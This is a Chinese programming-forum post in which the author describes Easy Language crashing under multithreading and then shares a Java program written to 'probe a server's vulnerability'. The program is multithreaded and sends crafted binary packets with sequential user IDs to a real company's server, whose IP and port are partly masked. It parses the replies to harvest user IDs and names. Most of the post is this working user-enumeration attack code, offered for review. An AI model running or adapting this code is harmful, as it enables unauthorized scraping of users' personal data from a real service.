黑马程序员技术交流社区

标题: [原创]伤不起的易语言与多线程_简单的网络编程 [打印本页]

作者: cat73    时间: 2014-7-1 18:23
标题: [原创]伤不起的易语言与多线程_简单的网络编程
本帖最后由 cat73 于 2014-7-23 23:18 编辑

由于Java刚刚自学到String这部分
昨天想写个多线程探测的东东
于是用了我玩过多年的易语言
结果一整天,怎么改怎么崩溃
用几分钟就崩溃了
最后安装了OD,在崩溃后附加调试
发现崩溃的位置是易语言的TCP客户端库里调用的socket函数
原来易语言的库到了多线程会不安全
当时很晚了,就睡了

今早用Java重写了一份,涉及到socket的部分都是去网上查的用法
花了三四个小时吧,整出来了个小程序,挂了七八个小时了,依旧很稳
这个程序用于探测一个服务器的漏洞,为了防止对该公司造成损失,部分代码用"*"隐去
以下是全部代码,IO流以及Socket部分之前没接触过,所以可能写的不大好
希望大家能给个建议喵~~
  1. package tk.cat73.****;

  2. import java.io.InputStream;
  3. import java.io.OutputStream;
  4. import java.net.InetAddress;
  5. import java.net.Socket;
  6. import java.util.concurrent.locks.*;

  7. class Attack**** implements Runnable {
  8.         private final int THREAD_WAIT;
  9.         private long currentId;

  10.         private ReentrantLock lock = new ReentrantLock();

  11.         Attack****(int threadWait, long startId) {
  12.                 THREAD_WAIT = threadWait;
  13.                 currentId = startId;
  14. //                try {
  15. //                        System.out.println(getUserInfo(41333*****L));
  16. //                } catch (Exception e) {
  17. //                        // TODO Auto-generated catch block
  18. //                        e.printStackTrace();
  19. //                }
  20.         }

  21.         @SuppressWarnings("static-access")
  22.         public void run() {
  23.                 while (true) {
  24.                         long thisId = getId();

  25.                         try {
  26.                                 String info = getUserInfo(thisId);
  27.                                 if(!info.isEmpty())
  28.                                         System.out.println(info);
  29.                         } catch (Exception e) {
  30.                         }

  31.                         if(thisId % 1000 == 0)
  32.                                 System.out.println("最新完成:" + thisId);
  33.                         
  34.                         try {
  35.                                 Thread.currentThread().sleep(THREAD_WAIT);
  36.                         } catch (InterruptedException e) {
  37.                         }
  38.                 }
  39.         }

  40.         private long getId() {
  41.                 lock.lock();
  42.                 long thisId = currentId;
  43.                 currentId++;
  44.                 lock.unlock();
  45.                 return thisId;
  46.         }

  47.         private String getUserInfo(long id) throws Exception {
  48.                 byte[] recvPackage = getServerRecv(id);
  49.                 return recvPackageToUserInfo(recvPackage);
  50.         }

  51.         private String recvPackageToUserInfo(byte[] recvPackage) {
  52.                 String userInfo = "userid:";
  53.                 long userId = byte4ToInt(recvPackage, 20);
  54.                 userInfo += userId;
  55.                 userInfo += " name:";

  56.                 int index = 28;
  57.                 while (recvPackage[index++] != 0)
  58.                         ;
  59.                 String userName = new String(recvPackage, 28, index - 28 - 1);
  60.                 userInfo += userName;
  61.                 userInfo += "\n";
  62.                 if(userName.trim().equals("")){
  63.                         return "";
  64.                 } else {
  65.                         return userInfo;
  66.                 }
  67.         }

  68.         public long byte4ToInt(byte[] bytes, int off) {
  69.                 int b0 = bytes[off] & 0xFF;
  70.                 int b1 = bytes[off + 1] & 0xFF;
  71.                 int b2 = bytes[off + 2] & 0xFF;
  72.                 int b3 = bytes[off + 3] & 0xFF;
  73.                 long l = ((b3 << 24) | (b2 << 16) | (b1 << 8) | b0) & 0xFFFFFFFFL;

  74.                 return l;
  75.         }

  76.         private byte[] getServerRecv(long id) throws Exception {
  77.                 try {
  78.                         Socket s = new Socket(InetAddress.getByName("221.***.***.***"), 3***5);
  79.                         OutputStream os = s.getOutputStream();
  80.                         InputStream is = s.getInputStream();
  81.                         byte[] sendPackage = getSendPackage(id);
  82.                         os.write(sendPackage);

  83.                         byte[] recvPackage = new byte[58];
  84.                         is.read(recvPackage, 0, 58);
  85.                         os.close();
  86.                         is.close();
  87.                         s.close();
  88.                         return recvPackage;
  89.                 } catch (Exception e) {
  90.                         e.printStackTrace();
  91.                         throw new Exception("与服务器交互出现错误");
  92.                 }
  93.         }

  94.         private byte[] getSendPackage(long id) {
  95.                 byte[] sendPackage = new byte[24];
  96.                 // 整包长度
  97.                 sendPackage[0] = 24;
  98.                 sendPackage[1] = 0;
  99.                 sendPackage[2] = 0;
  100.                 sendPackage[3] = 0;

  101.                 // 未知,疑似版本号
  102.                 sendPackage[4] = 1;
  103.                 sendPackage[5] = 0;
  104.                 sendPackage[6] = 0;
  105.                 sendPackage[7] = 0;

  106.                 sendPackage[8] = 0;
  107.                 sendPackage[9] = 0;
  108.                 sendPackage[10] = 0;
  109.                 sendPackage[11] = 0;

  110.                 sendPackage[12] = 0;
  111.                 sendPackage[13] = 0;
  112.                 sendPackage[14] = 0;
  113.                 sendPackage[15] = 0;

  114.                 sendPackage[16] = (byte) (id & 0xff);
  115.                 sendPackage[17] = (byte) ((id & 0xff00) >> 8);
  116.                 sendPackage[18] = (byte) ((id & 0xff0000) >> 16);
  117.                 sendPackage[19] = (byte) ((id & 0xff000000) >> 24);

  118.                 sendPackage[20] = 0;
  119.                 sendPackage[21] = 0;
  120.                 sendPackage[22] = 0;
  121.                 sendPackage[23] = 0;

  122.                 return sendPackage;
  123.         }
  124. }

  125. public class Attack{
  126.         public static void start() {
  127.                 int threadCount = 10;
  128.                 int threadWait = 100;
  129.                 long startId = 41332*****L;
  130.                 //String serverIP = "221.***.***.***";
  131.                 //int serverPort = 3***5;
  132.                 Attack**** att = new Attack****(threadWait, startId);
  133.                
  134.                 Thread[] t = new Thread[threadCount];
  135.                 for(int i = 0; i < threadCount; i++){
  136.                         t[i] = new Thread(att);
  137.                         t[i].start();
  138.                 }
  139.         }
  140. }
复制代码


感觉写了这么个小项目之后很好的复习了下以往学过的东西
黑马的自学视频里的实际项目还是太少,基本都是针对某一个问题做练习题的感觉
也不知道是不是我个人的问题,如果经常有些小项目做,我就会一直把精力高度集中在学习上
而要是只看知识点,就有点想睡觉的意思,学进去要好久
你们会不会酱紫捏?






欢迎光临 黑马程序员技术交流社区 (http://bbs.itheima.com/) 黑马程序员IT技术论坛 X3.2